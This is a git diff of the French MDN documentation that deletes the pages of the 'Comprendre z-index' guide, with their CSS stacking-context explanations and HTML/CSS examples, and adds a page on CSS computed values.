  • Un élément pour lequel {{cssxref("-webkit-overflow-scrolling")}} vaut touch.
    • -
  • Un élément pour lequel la valeur de la propriété {{cssxref("will-change")}} concerne une propriété qui créerait un contexte d'empilement avec une valeur non-initiale.
    • -
  • Un élément pour lequel la valeur de la propriété {{cssxref("contain")}} est layout, paint ou une valeur composite contenant un de ces mots-clés (par exemple contain: strict ou contain: content).
    • -
- -

Sans contexte d'empilement, les éléments fils sont empilés selon les règles vues avant. Les valeurs des z-index pour les contextes d'empilement des éléments fils ont uniquement un sens pour l'élément parent. Les contextes d'empilement sont traités de façon atomique, comme une seule unité, dans le contexte de l'élément parent.

- -

En bref :

- -
    -
  • Les contextes d'empilement peuvent être enfants d'autres contextes d'empilement, et ensemble forment une hiérarchie de contextes d'empilement.
    • -
  • Chaque contexte d'empilement est indépendant de ses voisins : seuls les éléments enfants sont pris en compte lorsque l'empilement est traité.
    • -
  • Chaque contexte d'empilement est autonome : Une fois que le contenu de l'élément est empilé, l'élément entier est pris en compte dans l'ordre d'empilement du contexte parent.
    • -
- -
Notes : La hiérarchie des contextes d'empilement est un sous-ensemble de la hiérarchie des éléments HTML, car seuls les éléments positionnés dans l'espace (avec la propriété z-index créent des contextes d'empilement. On peut dire que les éléments qui ne créent pas leur propre contexte d'empilement sont assimilés par le contexte d'empilement parent.
- -

Illustration

- -

Figure 1. Exemple de règles d'empilement modifiées avec la propriété z-index

- -

Dans cet exemple, tous les éléments positionnés créent leur propre contexte d'empilement, du fait de leur positionnement et de leur valeur z-index. La hiérarchie des contextes d'empilement est organisée comme suit :

- -
    -
  • Racine -
      -
    • DIV #1
      • -
    • DIV #2
      • -
    • DIV #3 -
        -
      • DIV #4
        • -
      • DIV #5
        • -
      • DIV #6
        • -
      -
      • -
    -
    • -
- -

Il est important de noter que les blocs DIV #4, DIV #5 et DIV #6 sont les enfants du bloc DIV #3, donc leur empilement est complètement résolu à l'intérieur de ce dernier. Une fois que l'empilement et le rendu à l'intérieur du bloc 3 sont définis, la totalité de l'élément DIV #3 est prise en compte pour l'empilement dans l'élément racine par rapport à ses DIV voisins.

- -
-

Notes :

- -
    -
  • DIV #4 est rendu dans le bloc DIV #1 car le z-index (5) de celui-ci est valide à l'intérieur du contexte d'empilement de l'élément racine, alors que le z-index (6) du bloc DIV #4 est valide à l'intérieur du contexte d'empilement du bloc DIV #3. Ainsi, DIV #4 se trouve sous DIV #1, parce que DIV #4 appartient à DIV #3, qui possède une valeur de z-index plus petite.
    • -
  • Pour la même raison DIV #2 (dont le z-index est 2) est rendu sous DIV#5 (de z-index égal à 1) parce que DIV #5 appartient à DIV #3, qui possède une valeur de z-index plus grande.
    • -
  • Le z-index du bloc DIV #3 est 4, mais cette valeur est indépendante du z-index du bloc DIV #4, DIV #5 et DIV #6, parce qu'il appartient à un contexte d'empilement différent.
    • -
-
- -

Exemple

- -

CSS

- -
* {
-  margin: 0;
-}
-
-html {
-  padding: 20px;
-  font: 12px/20px Arial, sans-serif;
-}
-
-div {
-  opacity: 0.7;
-  position: relative;
-}
-
-h1 {
-  font: inherit;
-  font-weight: bold;
-}
-
-#div1, #div2 {
-  border: 1px dashed #696;
-  padding: 10px;
-  background-color: #cfc;
-}
-
-#div1 {
-  z-index: 5;
-  margin-bottom: 190px;
-}
-
-#div2 {
-  z-index: 2;
-}
-
-#div3 {
-  z-index: 4;
-  opacity: 1;
-  position: absolute;
-  top: 40px;
-  left: 180px;
-  width: 330px;
-  border: 1px dashed #900;
-  background-color: #fdd;
-  padding: 40px 20px 20px;
-}
-
-#div4, #div5 {
-  border: 1px dashed #996;
-  background-color: #ffc;
-}
-
-#div4 {
-  z-index: 6;
-  margin-bottom: 15px;
-  padding: 25px 10px 5px;
-}
-
-#div5 {
-  z-index: 1;
-  margin-top: 15px;
-  padding: 5px 10px;
-}
-
-#div6 {
-  z-index: 3;
-  position: absolute;
-  top: 20px;
-  left: 180px;
-  width: 150px;
-  height: 125px;
-  border: 1px dashed #009;
-  padding-top: 125px;
-  background-color: #ddf;
-  text-align: ce        }
-
- -

HTML

- -
<div id="div1">
-  <h1>Division Element #1</h1>
-  <code>position: relative;<br/>
-  z-index: 5;</code>
-</div>
-
-<div id="div2">
-  <h1>Division Element #2</h1>
-  <code>position: relative;<br/>
-  z-index: 2;</code>
-</div>
-
-<div id="div3">
-
-  <div id="div4">
-    <h1>Division Element #4</h1>
-    <code>position: relative;<br/>
-    z-index: 6;</code>
-  </div>
-
-  <h1>Division Element #3</h1>
-  <code>position: absolute;<br/>
-  z-index: 4;</code>
-
-  <div id="div5">
-    <h1>Division Element #5</h1>
-    <code>position: relative;<br/>
-    z-index: 1;</code>
-  </div>
-
-  <div id="div6">
-    <h1>Division Element #6</h1>
-    <code>position: absolute;<br/>
-    z-index: 3;</code>
-  </div>
-
- -

Résultat

- -

{{EmbedLiveSample("Exemple","556","396")}}

- -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Ajout_de_z-index","Web/CSS/Comprendre_z-index/Exemple_1", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/comprendre_z-index/empilement_et_float/index.html b/files/fr/web/css/comprendre_z-index/empilement_et_float/index.html deleted file mode 100644 index de0cc3761f..0000000000 --- a/files/fr/web/css/comprendre_z-index/empilement_et_float/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Empilement et éléments flottants -slug: Web/CSS/Comprendre_z-index/Empilement_et_float -tags: - - Avancé - - CSS - - Contextes d’empilement - - Guide - - Ordre d’empilement - - float - - z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float ---- -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_sans_z-index","Web/CSS/Comprendre_z-index/Ajout_de_z-index", "Web/CSS/Comprendre_z-index")}}
- -

L'empilement et les éléments flottants

- -

Pour les blocs flottants, l'ordre d'empilement est légèrement différent. Les blocs flottants sont disposés entre les blocs non positionnés et les blocs positionnés. Voici l'ordre d'empilement :

- -
    -
  1. L'arrière-plan et les bordures de l'élément racine du document
    2. -
  2. Les blocs qui descendent les uns des autres et qui sont situés dans le flux normal, dans l'ordre dans lequel ils apparaissent (pour HTML) ;
    3. -
  3. Les blocs flottants ;
    4. -
  4. Les éléments enfants positionnés, dans leur ordre d'apparence (pour HTML).
    5. -
- -

En fait, comme on le voit avec l'exemple ci-après, l'arrière-plan et la bordure du bloc non positionné (DIV n°4) ne sont pas impactés par les blocs flottants alors que le contenu est affecté. Il s'agit du comportement standard de la propriété CSS {{cssxref("float")}}.

- -

Ce comportement peut être expliqué en améliorant la liste précédente :

- -
    -
  1. L'arrière-plan et les bordures de l'élément racine ;
    2. -
  2. Les blocs enfants dans le flux normal, dans leur ordre d'apparence (en HTML) ;
    3. -
  3. Les blocs flottants ;
    4. -
  4. Les éléments « en-ligne » enfants dans le flux normal ;
    5. -
  5. Les éléments enfants positionnés, dans leur ordre d'apparence (en HTML).
    6. -
- -
Note : Dans l'exemple qui suit, tous les blocs sont transparents, excepté celui qui n'est pas positionné, montrant ainsi l'ordre d'empilement. Si l'on réduit l'opacité du bloc non positionné (DIV #4), il se produit quelque chose d'étrange : l'arrière-plan et la bordure de cet élément se placent par dessus les blocs flottants et les blocs positionnés. Il s'agit d'une interprétation particulière des spécifications CSS : l'application de l'opacité crée un nouveau contexte d'empilement (voir l'article : What No One Told You About Z-Index de Philip Walton ou son excellente traduction de Vincent De Oliveira, Ce que personne ne vous a dit sur z-index et, bien-sûr, la spécification).
- -

{{EmbedLiveSample("Code_source_de_l’exemple", 600, 250)}}

- -

Code source de l'exemple

- -

HTML

- -
<div id="abs1">
-  <b>DIV #1</b><br />position: absolute;</div>
-
-<div id="flo1">
-  <b>DIV #2</b><br />float: left;</div>
-
-<div id="flo2">
-  <b>DIV #3</b><br />float: right;</div>
-
-<br />
-
-<div id="sta1">
-  <b>DIV #4</b><br />no positioning</div>
-
-<div id="abs2">
-  <b>DIV #5</b><br />position: absolute;</div>
-
- -

CSS

- -
div {
-  padding: 10px;
-  text-align: center;
-}
-
-b {
-  font-family: sans-serif;
-}
-
-#abs1 {
-  position: absolute;
-  width: 150px;
-  height: 200px;
-  top: 10px;
-  right: 140px;
-  border: 1px dashed #900;
-  background-color: #fdd;
-}
-
-#sta1 {
-  height: 100px;
-  border: 1px dashed #996;
-  background-color: #ffc;
-  margin: 0px 10px 0px 10px;
-  text-align: left;
-}
-
-#flo1 {
-  margin: 0px 10px 0px 20px;
-  float: left;
-  width: 150px;
-  height: 200px;
-  border: 1px dashed #090;
-  background-color: #cfc;
-}
-
-#flo2 {
-  margin: 0px 20px 0px 10px;
-  float: right;
-  width: 150px;
-  height: 200px;
-  border: 1px dashed #090;
-  background-color: #cfc;
-}
-
-#abs2 {
-  position: absolute;
-  width: 150px;
-  height: 100px;
-  top: 130px;
-  left: 100px;
-  border: 1px dashed #990;
-  background-color: #fdd;
-}
- -

Voir aussi

- - - - - -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_sans_z-index","Web/CSS/Comprendre_z-index/Ajout_de_z-index", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/comprendre_z-index/empilement_sans_z-index/index.html b/files/fr/web/css/comprendre_z-index/empilement_sans_z-index/index.html deleted file mode 100644 index db892c51dc..0000000000 --- a/files/fr/web/css/comprendre_z-index/empilement_sans_z-index/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Empilement sans z-index -slug: Web/CSS/Comprendre_z-index/Empilement_sans_z-index -tags: - - Avancé - - CSS - - Guide - - z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index ---- -
{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_et_float", "Web/CSS/Comprendre_z-index")}}
- -

Empilement sans z-index

- -

Lorsqu’aucun élément n'a de {{cssxref("z-index")}} définis, tous les éléments sont empilés dans cet ordre (de bas en haut) :

- -
    -
  1. Arrière-plans et bordures de l'élément racine
    2. -
  2. Blocs enfants dans le flux normal, dans leur ordre d'apparition (en HTML)
    3. -
  3. Éléments enfants positionnés, dans leur ordre d'apparition (en HTML)
    4. -
- -

On gardera à l'esprit que, lorsque la propriété {{cssxref("order")}} modifie l'ordre visuel des conteneurs flexibles ({{cssxref("flex")}}), cela modifie également l'ordre du contexte d'empilement.

- -

Dans l'exemple suivant, les blocs en position absolue et relative sont correctement positionnés et dimensionnés pour illustrer les règles d'empilement. L'opacité a été réduite pour rendre les éléments transparents et faciliter ainsi la visualisation des superpositions.

- -
-

Notes :

- -
    -
  • Dans un groupe d'éléments sans aucune propriété z-index, tel que les blocs positionnés (DIV #1 à #4) dans l'exemple, l'ordre d'empilement des éléments est celui de leur ordre dans la hiérarchie HTML, quelle que soit leur position.
    • -
  • Les blocs standards (DIV #5) dans le flux normal, sans aucune propriété de positionnement, sont toujours rendus avant les éléments positionnés, et apparaissent en dessous de ces derniers, même s'ils interviennent plus tard dans la hiérarchie HTML.
    • -
  • Attention : en copiant-collant le code ci-dessous, l'exemple ne fonctionnera pas pour le DIV#5 à cause de la propriété d'opacité qui lui a été affecté. Il apparaîtra donc au dessus des autres blocs.
    • -
-
- -

Figure 1. Exemple de règles d'empilement sans propriété z-index

- -

Exemple

- -

HTML

- -
<div id="abs1" class="absolute">
-  <b>DIV #1</b><br />position: absolute;</div>
-<div id="rel1" class="relative">
-  <b>DIV #2</b><br />position: relative;</div>
-<div id="rel2" class="relative">
-  <b>DIV #3</b><br />position: relative;</div>
-<div id="abs2" class="absolute">
-  <b>DIV #4</b><br />position: absolute;</div>
-<div id="sta1" class="static">
-  <b>DIV #5</b><br />position: static;</div>
-
- -

CSS

- -
b {
-  font-family: sans-serif;
-}
-
-div {
-  padding: 10px;
-  border: 1px dashed;
-  text-align: center;
-}
-
-.static {
-  position: static;
-  height: 80px;
-  background-color: #ffc;
-  border-color: #996;
-}
-
-.absolute {
-  position: absolute;
-  width: 150px;
-  height: 350px;
-  background-color: #fdd;
-  border-color: #900;
-  opacity: 0.7;
-}
-
-.relative {
-  position: relative;
-  height: 80px;
-  background-color: #cfc;
-  border-color: #696;
-  opacity: 0.7;
-}
-
-#abs1 {
-  top: 10px;
-  left: 10px;
-}
-
-#rel1 {
-  top: 30px;
-  margin: 0px 50px 0px 50px;
-}
-
-#rel2 {
-  top: 15px;
-  left: 20px;
-  margin: 0px 50px 0px 50px;
-}
-
-#abs2 {
-  top: 10px;
-  right: 10px;
-}
-
-#sta1 {
-  background-color: #ffc;
-  margin: 0px 50px 0px 50px;
-}
-
- -

Résultat

- -

{{EmbedLiveSample("Exemple","600","400")}}

- -
{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_et_float", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/comprendre_z-index/exemple_1/index.html b/files/fr/web/css/comprendre_z-index/exemple_1/index.html deleted file mode 100644 index f155461dd4..0000000000 --- a/files/fr/web/css/comprendre_z-index/exemple_1/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Exemple d'empilement 1 -slug: Web/CSS/Comprendre_z-index/Exemple_1 -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 ---- -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/L'empilement_de_couches","Web/CSS/Comprendre_z-index/Exemple_2", "Web/CSS/Comprendre_z-index")}}
- -

Premier exemple

- -

Commençons par un exemple simple, dans le contexte d'empilement racine nous avons deux blocs DIV (DIV #1 et DIV #3), tout deux positionnés relativement, mais sans propriété {{ cssxref("z-index") }}. Dans le bloc DIV #1 il y a un bloc DIV #2 en position absolue, alors que dans le bloc DIV #3 il y a un bloc DIV #4 en position absolue, tout deux également sans propriété z-index.

- -

Le seul et unique contexte d'empilement est le contexte racine. Sans z-index, les éléments sont empilés dans leur ordre d'apparition dans le code HTML.

- -

Figure 5a : Exemple de contexte d'empilement 1

- -

Si on assigne au bloc DIV #2 une valeur de z-index positive (non nulle et non automatique), il est rendu par dessus tous les autres blocs.

- -

Figure 5b : Exemple de contexte d'empilement 1

- -

Si maintenant on assigne également au bloc DIV #4 une valeur de z-index positive, plus grande que celle du DIV #2, le bloc DIV #4 est rendu par dessus tous les autres, y compris par dessus le bloc DIV #2.

- -

Figure 5c : Exemple de contexte d'empilement 1

- -

Dans le dernier exemple, vous pouvez voir que les blocs DIV #2 et DIV #4 ne sont pas frères, parce qu'ils appartiennent à des parents différents dans la hiérarchie des éléments HTML. Néanmoins, l'empilement du bloc DIV #4, tout en respectant le bloc DIV #2, peut être contrôlé avec la propriété z-index. Il se fait que les éléments DIV #1 et DIV #3 n'ayant pas de z-index défini, ils ne créent pas de contexte d'empilement. Cela signifie que l'ensemble de leur contenu, y compris les blocs DIV #2 et DIV #3, appartient au contexte d'empilement de la racine.

- -

Dans le contexte d'empilement, les blocs DIV #1 et DIV #3 sont simplement assimilés dans l'élément racine, et la hiérarchie résultante est la suivante :

- -
    -
  • Contexte d'empilement racine -
      -
    • DIV #2 (z-index 1)
      • -
    • DIV #4 (z-index 2)
      • -
    -
    • -
- -
Note : Les blocs DIV #1 et DIV #3 ne sont pas translucides. Il est important de se souvenir que d'assigner une valeur d'opacité inférieure à 1 à un élément positionné, crée implicitement un contexte d'empilement, de la même façon que l'ajout de propriétés z-index. Et cet exemple montre ce qui arrive lorsqu'un élément parent ne crée pas de contexte d'empilement.
- -

Exemple

- -

CSS

- -
.bold {
-  font-weight: bold;
-  font: 12px Arial;
-}
-#div1,
-#div3 {
-  height: 80px;
-  position: relative;
-  border: 1px dashed #669966;
-  background-color: #ccffcc;
-  padding-left: 5px;
-}
-
-#div2 {
-  opacity: 0.8;
-  z-index: 1;
-  position: absolute;
-  width: 150px;
-  height: 200px;
-  top: 20px;
-  left: 170px;
-  border: 1px dashed #990000;
-  background-color: #ffdddd;
-  text-align: center;
-}
-
-#div4 {
-  opacity: 0.8;
-  z-index: 2;
-  position: absolute;
-  width: 200px;
-  height: 70px;
-  top: 65px;
-  left: 50px;
-  border: 1px dashed #000099;
-  background-color: #ddddff;
-  text-align: left;
-  padding-left: 10px;
-}
- -

HTML

- -
<div id="div1">
-  <br/>
-  <span class="bold">DIV #1</span>
-  <br/>position: relative;
-  <div id="div2">
-    <br/><span class="bold">DIV #2</span>
-    <br/>position: absolute;
-     <br/>z-index: 1;
-  </div>
-</div>
-
-<br/>
-
-<div id="div3">
-  <b/><span class="bold">DIV #3</span>
-  <br/>position: relative;
-  <div id="div4">
-    <br/><span class="bold">DIV #4</span>
-    <br/>position: absolute;
-    <br/>z-index: 2;
-  </div>
-</div>
-
- -

Résultat

- -

{{EmbedLiveSample('Exemple')}}

- -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/L'empilement_de_couches","Web/CSS/Comprendre_z-index/Exemple_2", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/comprendre_z-index/exemple_2/index.html b/files/fr/web/css/comprendre_z-index/exemple_2/index.html deleted file mode 100644 index 75bbba62d9..0000000000 --- a/files/fr/web/css/comprendre_z-index/exemple_2/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Exemple d'empilement 2 -slug: Web/CSS/Comprendre_z-index/Exemple_2 -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 ---- -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_1","Web/CSS/Comprendre_z-index/Exemple_3", "Web/CSS/Comprendre_z-index")}}
- -

Deuxième exemple

- -

Ce deuxième exemple est très simple, mais il est essentiel à la compréhension du concept de contexte d'empilement. Nous avons les 4 mêmes blocs que l'exemple précédent, mais maintenant, nous appliquons des propriétés {{cssxref("z-index")}} aux deux niveaux de la hiérarchie.

- -

Figure 6 : Exemple de contexte d'empilement 2

- -

Vous pouvez voir que le bloc DIV #2 (z-index : 2) est au dessus du bloc DIV #3 (z-index : 1), parce qu'ils appartiennent tout les deux au même contexte d'empilement (celui de la racine), donc les valeurs de z-index régissent l'empilement des éléments.

- -

Ce qui peut apparaitre comme étrange, c'est que le bloc DIV #2 (z-index : 2) est au dessus du bloc DIV #4 (z-index : 10), malgré leurs valeurs de z-index. La raison est qu'ils n'appartiennent pas au même contexte d'empilement. Le bloc DIV #4 appartient au contexte d'empilement créé par le bloc DIV #3, et, comme expliqué précédemment, le bloc DIV #3 (et tout son contenu) est au dessous du bloc DIV #2.

- -

Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement :

- -
    -
  • Contexte d'empilement racine -
      -
    • DIV #2 (z-index 2)
      • -
    • DIV #3 (z-index 1) -
        -
      • DIV #4 (z-index 10)
        • -
      -
      • -
    -
    • -
- -
Note : Il est important de se souvenir qu'en général, la hiérarchie HTML est différente de la hiérarchie du contexte d'empilement. Dans la hiérarchie du contexte d'empilement, les éléments qui ne créent pas un contexte d'empilement sont regroupés avec leur parents.
- -

Exemple

- -

CSS

- -
div {
-  font: 12px Arial;
-}
-
-span.bold {
-  font-weight: bold;
-}
-
-#div2 {
-  z-index: 2;
-}
-
-#div3 {
-  z-index: 1;
-}
-
-#div4 {
-  z-index: 10;
-}
-
-#div1,#div3 {
-  height: 80px;
-  position: relative;
-  border: 1px dashed #669966;
-  background-color: #ccffcc;
-  padding-left: 5px;
-}
-
-#div2 {
-  opacity: 0.8;
-  position: absolute;
-  width: 150px;
-  height: 200px;
-  top: 20px;
-  left: 170px;
-  border: 1px dashed #990000;
-  background-color: #ffdddd;
-  text-align: center;
-}
-
-#div4 {
-  opacity: 0.8;
-  position: absolute;
-  width: 200px;
-  height: 70px;
-  top: 65px;
-  left: 50px;
-  border: 1px dashed #000099;
-  background-color: #ddddff;
-  text-align: left;
-  padding-left: 10px;
-}
- -

HTML

- -
<br/>
-
-<div id="div1">
-  <br/><span class="bold">DIV #1</span>
-  <br/>position: relative;
-  <div id="div2">
-    <br/><span class="bold">DIV #2</span>
-    <br/>position: absolute;
-    <br/>z-index: 2;
-  </div>
-</div>
-
-<br/>
-
-<div id="div3">
-  <br/><span class="bold">DIV #3</span>
-  <br/>position: relative;
-  <br/>z-index: 1;
-  <div id="div4">
-    <br/><span class="bold">DIV #4</span>
-    <br/>position: absolute;
-    <br/>z-index: 10;
-  </div>
-</div>
-
- -

Résultat

- -

{{EmbedLiveSample("Exemple")}}

- -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_1","Web/CSS/Comprendre_z-index/Exemple_3", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/comprendre_z-index/exemple_3/index.html b/files/fr/web/css/comprendre_z-index/exemple_3/index.html deleted file mode 100644 index 5530887ec2..0000000000 --- a/files/fr/web/css/comprendre_z-index/exemple_3/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Exemple d'empilement 3 -slug: Web/CSS/Comprendre_z-index/Exemple_3 -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 ---- -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_2","", "Web/CSS/Comprendre_z-index")}}
- -

Troisième exemple

- -

Ce dernier exemple illustre les problèmes qui peuvent survenir lorsqu'on utilise des éléments positionnés dans une hiérarchie HTML à plusieurs niveaux et lorsque des {{cssxref("z-index")}} sont assignés à l'aide de sélecteurs de classe.

- -

Prenons un exemple de menu hiérarchique à 3 niveaux, fait de plusieurs DIV positionnés. Les deuxième et troisième niveaux apparaissent lors du survol ou d'un clic sur leur parent. D'ordinaire, ce type de menu est généré par un script, côté client ou côté serveur, de façon à ce que les règles de styles soient assignées à l'aide de sélecteurs de classe plutôt qu'avec des sélecteurs d'id.

- -

Si les trois niveaux du menu se chevauchent partiellement, alors la gestion de l'empilement peut devenir problématique.

- -

Figure 7 : Exemple de contexte d'empilement 3

- -

Le menu de premier niveau est positionné relativement, ainsi aucun contexte d'empilement n'est créé.

- -

Le menu de deuxième niveau est positionné en absolu à l'intérieur de son élément parent. Afin de le faire apparaître au dessus de tous les menus de premier niveau, on utilise un z-index. Le problème est que pour chaque menu de deuxième niveau, un contexte d'empilement se crée et chaque menu de troisième niveau appartient au contexte d'empilement de son parent.

- -

Ainsi donc, un menu de troisième niveau s'empilera sous les menus de deuxième niveau suivants, car tous les menus de deuxième niveau partagent la même valeur de z-index et que les règles d'empilement par défaut s'appliquent.

- -

Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement :

- -
    -
  • Contexte d'empilement racine -
      -
    • Niveau #1 -
        -
      • Niveau #2 (z-index : 1) -
          -
        • Niveau #3
          • -
        • …
          • -
        • Niveau #3
          • -
        -
        • -
      • Niveau #2 (z-index : 1)
        • -
      • …
        • -
      • Niveau #2 (z-index : 1)
        • -
      -
      • -
    • Niveau #1
      • -
    • …
      • -
    • Niveau #1
      • -
    -
    • -
- -

On peut contourner ce problème en supprimant le chevauchement entre les différents niveaux du menu, ou en utilisant des valeurs de z-index individuelles (et différentes) assignées à l'aide de sélecteurs d'id plutôt que des sélecteurs de classe ou encore en aplatissant la hiérarchie HTML.

- -
Note : Dans le code source, vous remarquerez que les menus de deuxième et troisième niveaux sont construits à l'aide de plusieurs boîtes DIV contenues dans un élément positionné en absolu. Ceci sert à les grouper et à les positionner en une seule fois.
- -

Exemple

- -

CSS

- -
div {
-  font: 12px Arial;
-}
-
-span.bold {
-  font-weight: bold;
-}
-
-div.lev1 {
-  width: 250px;
-  height: 70px;
-  position: relative;
-  border: 2px outset #669966;
-  background-color: #ccffcc;
-  padding-left: 5px;
-}
-
-#container1 {
-  z-index: 1;
-  position: absolute;
-  top: 30px;
-  left: 75px;
-}
-
-div.lev2 {
-  opacity: 0.9;
-  width: 200px;
-  height: 60px;
-  position: relative;
-  border: 2px outset #990000;
-  background-color: #ffdddd;
-  padding-left: 5px;
-}
-
-#container2 {
-  z-index: 1;
-  position: absolute;
-  top: 20px;
-  left: 110px;
-}
-
-div.lev3 {
-  z-index: 10;
-  width: 100px;
-  position: relative;
-  border: 2px outset #000099;
-  background-color: #ddddff;
-  padding-left: 5px;
-}
- -

HTML

- -
<br/>
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-  <div id="container1">
-    <div class="lev2">
-      <br/><span class="bold">LEVEL #2</span>
-      <br/>z-index: 1;
-      <div id="container2">
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-        <div class="lev3"><span class="bold">LEVEL #3</span></div>
-      </div>
-    </div>
-    <div class="lev2">
-      <br/><span class="bold">LEVEL #2</span>
-      <br/>z-index: 1;
-    </div>
-  </div>
-</div>
-
-<div class="lev1">
-  <span class="bold">LEVEL #1</span>
-</div>
-
-<div class="lev1">
-  <span class="bold">LEVEL #1</span>
-</div>
-
-<div class="lev1">
-  <span class="bold">LEVEL #1</span>
-</div>
-
- -

Résultat

- -

{{EmbedLiveSample("Exemple")}}

- -
{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_2","", "Web/CSS/Comprendre_z-index")}}
diff --git a/files/fr/web/css/comprendre_z-index/index.html b/files/fr/web/css/comprendre_z-index/index.html deleted file mode 100644 index 0c6c636886..0000000000 --- a/files/fr/web/css/comprendre_z-index/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Comprendre z-index en CSS -slug: Web/CSS/Comprendre_z-index -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index ---- -

{{CSSRef}}{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_sans_z-index", "Web/CSS/Comprendre_z-index")}}

- -

Généralement, les pages HTML sont vues comme des objets en deux dimensions et le texte, les images et les autres éléments sont disposés sans se chevaucher. Il y a un seul flux de rendu, et tous les éléments connaissent la place occupée par les autres.

- -
-

Dans CSS 2.1, chaque boîte a une position dans les 3 dimensions. En plus de leurs positions horizontale et verticale, les boîtes sont disposées sur un axe Z et sont disposées les unes sur les autres. Les positions sur l'axe Z sont particulièrement importantes lorsque deux boîtes se chevauchent visuellement.

-
- -

Source : Section 9.9.1. de CSS 2.1 - La présentation en couches

- -

Cela signifie que les règles de style CSS permettent de positionner des boîtes sur différentes couches, la couche « normale » étant la couche située en 0 sur l'axe Z. La position de chaque couche sur l'axe Z est exprimée par un nombre entier qui représente l'ordre d'empilement pour le rendu visuel. Plus cet entier sera grand, plus la couche sera haute dans la pile. Cette valeur se contrôle via la propriété CSS {{cssxref("z-index")}}.

- -

z-index peut sembler simple d'utilisation : il ne s'agit que d'une seule propriété, exprimée avec un entier et un comportement plutôt simple de prime abord. Cependant, lorsque z-index est appliquée à des hiérarchies complexes d'éléments HTML, son comportement peut vite devenir difficile à appréhender, voire imprévisible. Ceci est dû aux règles complexes d'empilement.

- -

Ces articles ont pour but d'expliquer ces règles, de proposer quelques simplifications et de nombreux exemples.

- -
    -
  1. L'empilement sans z-index : Règles d'empilement par défaut
    2. -
  2. L'empilement et float : Comportement des éléments flottants
    3. -
  3. Ajouter z-index : Utiliser z-index pour modifier l'empilement par défaut
    4. -
  4. L'empilement de couches : Remarques sur l'empilement de couches
    5. -
  5. Exemple d'empilement n°1 : Hiérarchie HTML à 2 niveaux, z-index sur le dernier niveau
    6. -
  6. Exemple d'empilement n°2 : Hiérarchie HTML à 2 niveaux, z-index sur tous les éléments
    7. -
  7. Exemple d'empilement n°3 : Hiérarchie HTML à 3 niveaux, z-index sur le deuxième niveau
    8. -
- -

{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_sans_z-index", "Web/CSS/Comprendre_z-index")}}

diff --git a/files/fr/web/css/computed_value/index.html b/files/fr/web/css/computed_value/index.html new file mode 100644 index 0000000000..356a3f75ba --- /dev/null +++ b/files/fr/web/css/computed_value/index.html @@ -0,0 +1,67 @@ +--- +title: Valeur calculée +slug: Web/CSS/Valeur_calculée +tags: + - CSS + - Reference +translation_of: Web/CSS/computed_value +--- +
{{CSSRef}}
+ +

La valeur calculée d'une propriété CSS est calculée à partir de la valeur définie :

+ +
    +
  1. En gérant les valeurs spéciales {{cssxref("inherit")}}, {{cssxref("initial")}}, {{cssxref("unset")}} et {{cssxref("revert")}}.
    2. +
  2. En effectuant les calculs décrits dans la section « Valeur calculée » de chaque résumé de propriété.
    3. +
+ +

Les calculs utilisés pour obtenir la valeur calculée correspondent généralement à la conversion des valeurs relatives (exprimées dans des unités relatives comme em ou en pourcentages) en valeur absolue. Ainsi, si un élément possède les valeurs spécifiées suivantes font-size: 16px et padding-top: 2em. La valeur calculée de la propriété padding-top sera 32px (on double la taille de la police).

+ +

Cependant, pour certaines propriétés (celles où les pourcentages sont relatifs à quelque chose lié à la disposition comme width, margin-right, text-indent, et top), les valeurs spécifiées exprimées en pourcentages deviennent des valeurs calculées exprimées en pourcentages. De plus, les nombres sans unité utilisés pour la propriété line-height sont également utilisés comme valeurs calculées. Ces valeurs relatives sont résolues en valeurs absolues lorsqu'on détermine les valeurs utilisées.

+ +

Le principal intérêt de la valeur calculée (en dehors de la gestion du passage de la valeur spécifiée à la valeur utilisée) est l'héritage, notamment grâce au mot-clé {{cssxref("inherit")}}.

+ +
+

